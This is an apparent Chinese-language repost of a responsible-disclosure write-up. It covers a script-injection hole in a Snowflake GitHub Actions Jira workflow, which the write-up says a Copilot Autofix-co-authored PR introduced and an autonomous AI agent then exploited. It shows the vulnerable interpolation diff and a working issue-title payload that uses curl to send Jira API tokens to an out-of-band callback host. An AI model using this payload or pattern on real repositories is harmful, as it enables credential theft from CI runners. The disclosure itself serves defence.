Reed's News
← 返回精选

AI自动修复引入漏洞:Snowflake Jira凭据泄露事件复盘

AI 72 galnagli 2026/8/17 902 字 原文 ↗

作为Snowflake旗下HackerOne漏洞披露项目的持续安全研究内容之一,Wiz Research开发的AI驱动自主安全研究工具「Red Agent」,在Snowflake某公开代码仓库中发现了一个GitHub Actions工作流高危漏洞。

这一事件揭示了软件开发领域的新现实:即便引入AI编码工具参与工作流,高危漏洞仍可能被写入代码并通过审批;而自主AI安全工具则能在漏洞出现后迅速发现并利用。

2026年6月23日,Wiz按负责任披露原则上报漏洞后,Snowflake当日即完成修复,更换了受影响的凭证,并通过详细审计日志确认,在漏洞暴露期间只有Wiz开展了测试操作。Wiz也已确认,概念验证测试中访问的所有数据均已安全删除。

2026年8月17日19:57 UTC更新:本文补充说明,Copilot是合并PR(拉取请求)的共同作者之一,负责审核代码变更并判定无风险,但未发现其中的高危漏洞。目前无法确认此次代码变更是否由AI辅助完成。

Wiz Red Agent在仓库snowflakedb/snowflake-connector-net中发现了脚本注入漏洞。攻击者无需身份验证,只需在GitHub提交一个标题经过特殊构造的Issue,即可在GitHub Actions运行器中执行任意命令。

关键时间点在于,该漏洞于2026年6月18日——即被发现前5天——随PR #1218合并正式生效。此次压缩提交的共同作者标注为「Copilot Autofix powered by AI」。合并后的PR删除了仓库原有的输入清理规则,改用直接字符串拼接,但GitHub的AI辅助安全审核并未识别出由此产生的高危漏洞。

Wiz Red Agent的CI/CD(持续集成/持续部署)扫描能力对Snowflake的GitHub组织进行检测后,标记snowflakedb/snowflake-connector-net仓库中的jira_issue.yml工作流存在风险:其run:模块可通过不可信输入实现脚本注入。

代码变更

- env:
- ISSUE_TITLE: ${{ github.event.issue.title }}
- run: jq -n --arg title "$ISSUE_TITLE" ...
+ run: TITLE=$(echo '${{ github.event.issue.title }}' | sed ...)

该工作流触发条件为issues: opened,即任何GitHub用户只需提交Issue即可触发执行;而代码会将攻击者可控的Issue标题直接插入Shell脚本: run: | TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g") 由于sed转义操作在GitHub模板渲染之后执行,标题中的单引号会打破echo '...'的字符串边界,进而允许执行任意命令。

这一可注入代码模式于2026年6月18日引入,对应commit 4a1b8cePR #1218:“SNOW-2069227: Update jira workflows”),共同作者为Copilot Autofix powered by AI

此次变更删除了仓库原有的安全实现逻辑——通过env:变量传递Issue标题,再用jq构建JSON负载——取而代之的是上文所示的直接调用${{ github.event.issue.title }}进行插值。换句话说,正是AI生成的「自动修复」提交,制造了这个注入漏洞。

工作流中原本有一条看似具备防护作用的if:条件: if: (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]') 但在Issue事件中,github.event.pull_request的值始终为null

因此该条件实际等价于(null != 'whitesource-for-github-com[bot]'),结果恒为真,所有GitHub用户均可绕过该限制。

我们构造了一个Issue标题,经模板渲染后可打破echo字符串边界,并通过带外回调窃取Jira凭证: 值得注意的是,Red Agent的CI/CD工具最初尝试用标准注释符(#)执行窃取时,运行器返回bash语法错误——因为注释会覆盖TITLE=$(...)的闭合括号。但Red Agent并未停止或报错,而是:

  • 自主分析语法执行错误
  • 调整攻击载荷,改用; echo '正确闭合Shell代码块
  • 成功触发带外回调

' ; curl -s "https://subdomain.oast.me?t=printf %s $JIRA_API_TOKEN|base64 -w0&e=printf %s $JIRA_USER_EMAIL|base64 -w0&u=printf %s $JIRA_BASE_URL|base64 -w0" ; echo ' 数秒内,我们的监听端就收到了来自GitHub Actions运行器(Azure IP地址20.106.182.197)的回调,其中包含经base64编码的凭证。

注: 首次尝试中我们用#注释掉后续代码,却引发bash意外EOF错误,因为注释同时覆盖了TITLE=$(...)的闭合)。最终通过; echo '解决了Shell语法闭合问题。

窃取到的凭证以qa@snowflake.net身份登录snowflakecomputing.atlassian.net,可访问Snowflake工程、安全合规及漏洞赏金追踪等所有项目的只读权限。

响应措施

  • **当日修复:**Snowflake于2026年6月23日完成工作流修复(1dc7766,PR #1402),完全恢复了安全的env:变量+jq --arg解析模式。
  • **凭证更换:**涉事Jira凭证已被吊销并更换。
  • **取证验证:**全面审计日志分析确认,在5天漏洞暴露期内,无外部第三方访问该端点,所有异常查询均来自Wiz的测试IP。

启示

  • **AI代码生成需严格监管:**AI编码工具基于概率模式预测代码,可能意外复用已废弃或不安全的Shell写法。AI生成的PR必须与人工代码接受同等的静态分析和安全审查。
  • **漏洞发现窗口大幅缩短:**本次漏洞仅存在5天就被自动化工具发现并验证。安全运维需适应新环境——自动化漏洞发现可能在数小时内完成,这要求更快速的补丁周期和更短的凭证有效期。
  • **防范AI导致的安全倒退:**自动化AI助手通常缺乏代码设计背景,不理解特定写法的安全考量。本次事件中,自动化PR删除了为防范Shell注入专门设计的env:+jq安全解析模式。安全团队必须建立防护机制,阻止AI工具用直接字符串插值替代结构化数据解析器。

时间线

  • 2026年6月18日——PR #1218合并,漏洞正式生效,共同作者为Copilot Autofix
  • 2026年6月23日——Wiz发现漏洞、完成验证,并通过HackerOne上报Snowflake(报告编号#3819931)
  • 2026年6月23日——向Snowflake安全团队发送Slack通知
  • 2026年6月23日(当日)——Snowflake完成漏洞工作流修复(commit 1dc7766PR #1402),恢复安全的env:+jq --arg模式
  • 2026年6月24日——更换Jira凭证
  • 2026年7月25日——公开披露截止日(根据Snowflake披露政策,自6月25日漏洞解决后30天)

Snowflake感谢Wiz通过我们的HackerOne漏洞披露与赏金项目,负责任地上报并协作处理本次问题。Wiz Research在Snowflake某公开GitHub仓库中发现安全漏洞后,于2026年6月23日提交披露,我们立即展开调查并完成修复,未发现未授权访问迹象。保护系统安全始终是我们的首要任务,我们将持续强化软件开发与安全实践。目前我们正与Wiz合作,向全行业分享此次经验,推动安全最佳实践的广泛落地。